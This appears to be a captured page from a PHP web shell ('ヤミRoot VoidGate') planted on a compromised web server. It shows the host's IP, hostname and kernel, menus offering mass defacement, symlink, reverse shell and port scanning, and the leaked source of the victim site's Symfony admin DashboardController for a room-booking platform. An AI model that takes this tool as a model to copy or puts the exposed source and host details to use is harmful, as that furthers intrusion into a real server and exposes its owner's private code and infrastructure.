ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Admin
/
Viewing: DashboardController.php
<?php namespace App\Controller\Admin; use App\Entity\BookingRoom; use App\Entity\FirebaseToken; use App\Entity\NotificationPush; use App\Entity\Package; use App\Entity\Payment; use App\Entity\PaymentOption; use App\Entity\PaymentProvider; use App\Event\EasyAdminSubscriber; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Config\Assets; use EasyCorp\Bundle\EasyAdminBundle\Config\Crud; use EasyCorp\Bundle\EasyAdminBundle\Config\UserMenu; use App\Entity\Actualite; use App\Entity\Address; use App\Entity\Announce; use App\Entity\Background; use App\Entity\Building; use App\Entity\BuildingOption; use App\Entity\BuildingType; use App\Entity\Commentaire; use App\Entity\Company; use App\Entity\Contact; use App\Entity\Country; use App\Entity\Coupon; use App\Entity\Logs; use App\Entity\MediaObject; use App\Entity\Partenariat; use App\Entity\Room; use App\Entity\RoomOption; use App\Entity\RoomType; use App\Entity\Subscription; use App\Entity\Testimony; use App\Entity\Town; use App\Entity\User; use App\Entity\Visitor; use App\Security\EmailVerifier; use EasyCorp\Bundle\EasyAdminBundle\Config\Dashboard; use EasyCorp\Bundle\EasyAdminBundle\Config\Menu\SubMenuItem; use EasyCorp\Bundle\EasyAdminBundle\Config\MenuItem; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractDashboardController; use EasyCorp\Bundle\EasyAdminBundle\Event\BeforeCrudActionEvent; use EasyCorp\Bundle\EasyAdminBundle\Router\AdminUrlGenerator; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Core\User\UserInterface; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; use Symfony\UX\Chartjs\Builder\ChartBuilderInterface; use Symfony\UX\Chartjs\Model\Chart; use SymfonyCasts\Bundle\VerifyEmail\Exception\VerifyEmailExceptionInterface; use Vich\UploaderBundle\Entity\File; /** */ class DashboardController extends AbstractDashboardController { private $chartBuilder; private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; private $entityManager; private $urlGenerator; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, ChartBuilderInterface $chartBuilder, TokenStorageInterface $tokenStorage, EntityManagerInterface $entityManager, SessionInterface $session, UrlGeneratorInterface $urlGenerator, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->chartBuilder = $chartBuilder; $this->session = $session; $this->urlGenerator = $urlGenerator; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $entityManager; } /** * @Route({"es": "/admin","en": "/admin"}, name="admin_dashboard") */ public function index(): Response { $user= $this->getUser(); if(is_null($user)){ $redirectTo= new RedirectResponse($this->urlGenerator->generate("app_login")); $this->addFlash("warning","connexion lose"); return $redirectTo; } $token = new UsernamePasswordToken($user, "main", "common", $user->getRoles()); $request = $this->requestStack->getMainRequest(); if (!$request->hasPreviousSession()) { $request->setSession($this->session); $request->getSession()->start(); $request->cookies->set($request->getSession()->getName(), $request->getSession()->getId()); } $this->tokenStorage->setToken($token); $this->session->set('_security_common', serialize($token)); $event = new InteractiveLoginEvent($this->requestStack->getMainRequest(), $token); $this->eventDispatcher->dispatch( $event); $this->configureUserMenu($user); $this->session->save(); $this->session->start(); // redirect to some CRUD controller $routeBuilder = $this->get(AdminUrlGenerator::class); $buildings=$this->entityManager->getRepository(Building::class)->findAll(); $users=$this->entityManager->getRepository(User::class)->findAll(); $companies=$this->entityManager->getRepository(Company::class)->findAll(); $incomes=$this->entityManager->getRepository(Payment::class)->findAll(); $bookings=$this->entityManager->getRepository(BookingRoom::class)->findBy([], ['createdAt' => 'DESC']); if($this->entityManager->getRepository(User::class)->findOneBySomeField($user->getUsername())->isVerified()){ $notification=0; $income=0; foreach ($bookings as $booking){ if(!$booking->isHasVue()){ $notification++; } if(!is_null($booking->getPayment())){ $income+=$booking->getPayment()->getAmount(); } } $arrayOfChart=array(); foreach ($companies as $company){ $arrayOfChart[] = [ "name" => $company->getCompanyName(), "data" => $this->getCompanyIncome($company,date('Y'), date('m')) ]; } return $this->render('admin/my-dashboard.html.twig',[ "user"=>$user, "companies"=>$companies, "buildings"=>$buildings, "users"=>$users, "incomes"=>$incomes, "income"=>$income, "bookings"=>$bookings, "notification"=>$notification, "dates"=>$this->getDateRange(), "currentMonth"=>date('m'), "arrayOfChart"=>($arrayOfChart), "desc"=>date('F')." ".date('Y'), "days"=>$this->getArrayOfDay(date('Y'),date('m')), ]); }else{ $this->addFlash('error', 'Your Email has not been verified'); return $this->redirectToRoute('app_login'); } } public function configureDashboard(): Dashboard { if(is_null($this->getUser())){ return Dashboard::new() ->setTitle('Dashboard') ->setFaviconPath("public/favicon_io/favicon.ico"); } if(in_array('ROLE_ADMIN',$this->getUser()->getRoles())){ return Dashboard::new() ->setTitle('Admin Dashboard') ->setFaviconPath("public/favicon_io/favicon.ico"); }else{ return Dashboard::new() ->setTitle('User Dashboard') ->setFaviconPath("public/favicon_io/favicon.ico"); } } public function configureMenuItems(): iterable { if(is_null($this->getUser())){ $redirectTo= new RedirectResponse($this->urlGenerator->generate("app_login")); $this->addFlash("warning","connexion lose"); return $redirectTo; } if(is_null($this->getUser()->getFirstName())){ yield MenuItem::section("Welcome ".$this->getUser()->getLastName()); }else{ yield MenuItem::section("Welcome ".$this->getUser()->getFirstName()); } yield MenuItem::linkToDashboard('Dashboard', 'fa fa-home'); yield MenuItem::linkToCrud('Users', 'fas fa-users', User::class); yield MenuItem::subMenu('Business', 'fa fa-money')->setSubItems([ MenuItem::linkToCrud('Companies', 'fa fa-address-book-o', Company::class), MenuItem::linkToCrud('Partner', 'fa fa-building', Partenariat::class), MenuItem::linkToCrud('Subscription', 'fa fa-tags', Subscription::class), ]); yield MenuItem::subMenu('Incomes', 'fa fa-line-chart')->setSubItems([ MenuItem::linkToCrud('Bookings', 'fa fa-address-book-o', BookingRoom::class), MenuItem::linkToCrud('Payments', 'fa fa-dollar', Payment::class), MenuItem::linkToCrud('Payment Providers', 'fa fa-money', PaymentProvider::class), MenuItem::linkToCrud('Payment Option', 'fa fa-tags', PaymentOption::class), ]); yield MenuItem::linkToCrud('Package', 'fa fa-gift', Package::class); yield MenuItem::linkToCrud('News', 'fas fa-comments', Actualite::class); yield MenuItem::linkToCrud('Announces', 'fas fa-bell', Announce::class); yield MenuItem::linkToCrud('Coupon', 'fas fa-tags', Coupon::class); yield MenuItem::subMenu('Buildings', 'fa fa-sitemap ')->setSubItems([ MenuItem::linkToCrud('Buildings', 'fa fa-university', Building::class), MenuItem::linkToCrud('Buildings Types', 'fa fa-puzzle-piece', BuildingType::class), MenuItem::linkToCrud('Buildings Options', 'fa fa-cogs', BuildingOption::class)]); yield MenuItem::subMenu('Rooms', 'fa fa-bank')->setSubItems([ MenuItem::linkToCrud('Rooms', 'fa fa-hotel', Room::class), MenuItem::linkToCrud('Rooms Types', 'fa fa-file-text', RoomType::class), MenuItem::linkToCrud('Rooms Options', 'fa fa-cogs', RoomOption::class)]); yield MenuItem::subMenu('Media Files', 'fa fa-folder-open')->setSubItems([ MenuItem::linkToCrud('Media', 'fa fa-folder', MediaObject::class), MenuItem::linkToRoute('Files', 'fa fa-file-image', 'app_file_manager')]); yield MenuItem::subMenu('Places', 'fa fa-location-arrow')->setSubItems([ MenuItem::linkToCrud('Countries', 'fa fa-globe', Country::class), MenuItem::linkToCrud('Town', 'fa fa-map', Town::class), MenuItem::linkToCrud('Address', 'fa fa-map-pin', Address::class)]); yield MenuItem::subMenu('Services', 'fa fa-cogs')->setSubItems([ MenuItem::linkToCrud('Device Token', 'fa fa-tablet', FirebaseToken::class), MenuItem::linkToCrud('FB Notifications', 'fa fa-bell', NotificationPush::class), ] ); yield MenuItem::subMenu('Activities', 'fa fa-window-restore')->setSubItems([ MenuItem::linkToCrud('Contact', 'fa fa-address-card', Contact::class), MenuItem::linkToCrud('Testimonies', 'fa fa-comment', Testimony::class), MenuItem::linkToCrud('Comments', 'fa fa-commenting', Commentaire::class), MenuItem::linkToCrud('Visitors', 'fa fa-users', Visitor::class), MenuItem::linkToCrud('Logs', 'fa fa-tasks', Logs::class), ] ); yield MenuItem::section("Web Site Settings "); yield MenuItem::subMenu('Settings', 'fa fa-cogs')->setSubItems([ MenuItem::linkToCrud('Home Background', 'fa fa-file-image', Background::class), ] ); yield MenuItem::section("Connected As ".$this->getUser()->getLastName()); yield MenuItem::linkToLogout('Logout', 'fa fa-sign-out'); yield MenuItem::linkToExitImpersonation('Switch Account', 'fa fa-sync'); } public function configureUserMenu(UserInterface $user): UserMenu { if($_SERVER['HTTP_HOST']=="localhost" ){ $host="http://localhost/loger-api/public/"; }else{ $host="https://".$this->getParameter('app_domain')."/"; } // Usually it's better to call the parent method because that gives you a // user menu with some menu items already created ("sign out", "exit impersonation", etc.) // if you prefer to create the user menu from scratch, use: return UserMenu::new()->... return parent::configureUserMenu($user) // use the given $user object to get the user name ->setName($user->getLastName()." ".$user->getFirstName()) // use this method if you don't want to display the name of the user // you can return an URL with the avatar image ->setAvatarUrl($host.$this->getParameter('app.path.media_object').$user->userPicture) // ->setAvatarUrl($user->getProfileImageUrl()) // you can also pass an email address to use gravatar's service ->setGravatarEmail($user->getUsername()) // you can use any type of menu item, except submenus ->addMenuItems([ MenuItem::linkToRoute('My Profile', 'fa fa-id-card', 'app_user_profile', ['user' => $user]), MenuItem::linkToRoute('Settings', 'fa fa-user-cog', 'app_user_setting', ['user' => $user]), MenuItem::section(), MenuItem::linkToLogout('Logout', 'fa fa-sign-out'), ]); } public function getArrayOfDate(int $year=2023,int $month=1){ $list=array(); for($d=1; $d<=31; $d++) { $time=mktime(12, 0, 0, $month, $d, $year); if (date('m', $time)==$month) $list[]=date('Y-m-d', $time); } return $list; } public function getArrayOfDay(int $year=2023,int $month=1){ $list=array(); for($d=1; $d<=31; $d++) { $time=mktime(12, 0, 0, $month, $d, $year); if (date('m', $time)==$month) $list[]=date('d', $time)." ".date('D', $time); } return $list; } public function getCompanyIncome(Company $company,int $year=2023,int $month=1){ $lists=$this->getArrayOfDate($year,$month); $data=array(); for ($i=0; $i<sizeof($lists); $i++){ if($i==sizeof($lists)-1){ $bookings=$this->entityManager->getRepository(BookingRoom::class)->findByPeriodField($lists[$i], $this->getArrayOfDate($year,$month+1)[0]); }else{ $bookings=$this->entityManager->getRepository(BookingRoom::class)->findByPeriodField($lists[$i], $lists[$i+1]); } $totalAmount=0; foreach ($bookings as $booking){ if(!is_null($booking->getPayment()) && $booking->getRoom()->getBuilding()->getCompany()->getId()==$company->getId()) $totalAmount+=$booking->getPayment()->getAmount(); } array_push($data,$totalAmount); } return $data; } public function getDateRange(){ $date=$this->getParameter("createdDate"); $date=intval($date); $list=array(); for($i=0; $i<intval($this->getParameter("dateRange")); $i++){ $list[$i]=$date+$i; } return $list; } /** * Create User. * @Rest\Post ("api/admin/start") * @View */ public function getStat(Request $request){ $data = json_decode($request->getContent(), true); $companies=$this->entityManager->getRepository(Company::class)->findAll(); $arrayOfChart=array(); foreach ($companies as $company){ $arrayOfChart[] = [ "name" => $company->getCompanyName(), "data" => $this->getCompanyIncome($company,$data["year"], $data["month"]) ]; } return new JsonResponse($arrayOfChart, Response::HTTP_ACCEPTED); } public function configureAssets(): Assets { return Assets::new() ->addJsFile('js/jquery-3.2.1.min.js') ->addJsFile('js/sweetalert2.all.min.js') ->addJsFile('js/slick.js') ->addJsFile('js/aes.js') ->addJsFile('js/tripledes.js') ->addJsFile('js/enc-base64-min.js') ->addJsFile('js/index.js') ->addJsFile('js/admin.js'); } /** * Create User. * @Rest\Get ("admin/user-connected/{user_id}") * @View */ public function getConnectedUser(Request $request, int $user_id){ $user = $this->entityManager->getRepository(User::class)->findOneBy( ['id' => $user_id] ); return new JsonResponse($user, Response::HTTP_ACCEPTED); } /** * display booking. * * @Rest\GET ("admin/diplay_booking/{booking_id}") * @View * */ public function displayBooking(Request $request, int $booking_id, AdminUrlGenerator $adminUrlGenerator){ $booking = $this->entityManager->getRepository(BookingRoom::class)->findOneBy( ['id' => $booking_id] ); $booking->setHasVue(true); $this->entityManager->persist($booking); $this->entityManager->flush(); $targetUrl = $adminUrlGenerator ->setController(BookingRoomCrudController::class) ->setAction(Crud::PAGE_DETAIL) ->setEntityId($booking->getId()) ->generateUrl(); return $this->redirect($targetUrl); } }
Coded With 💗 by
0x6ick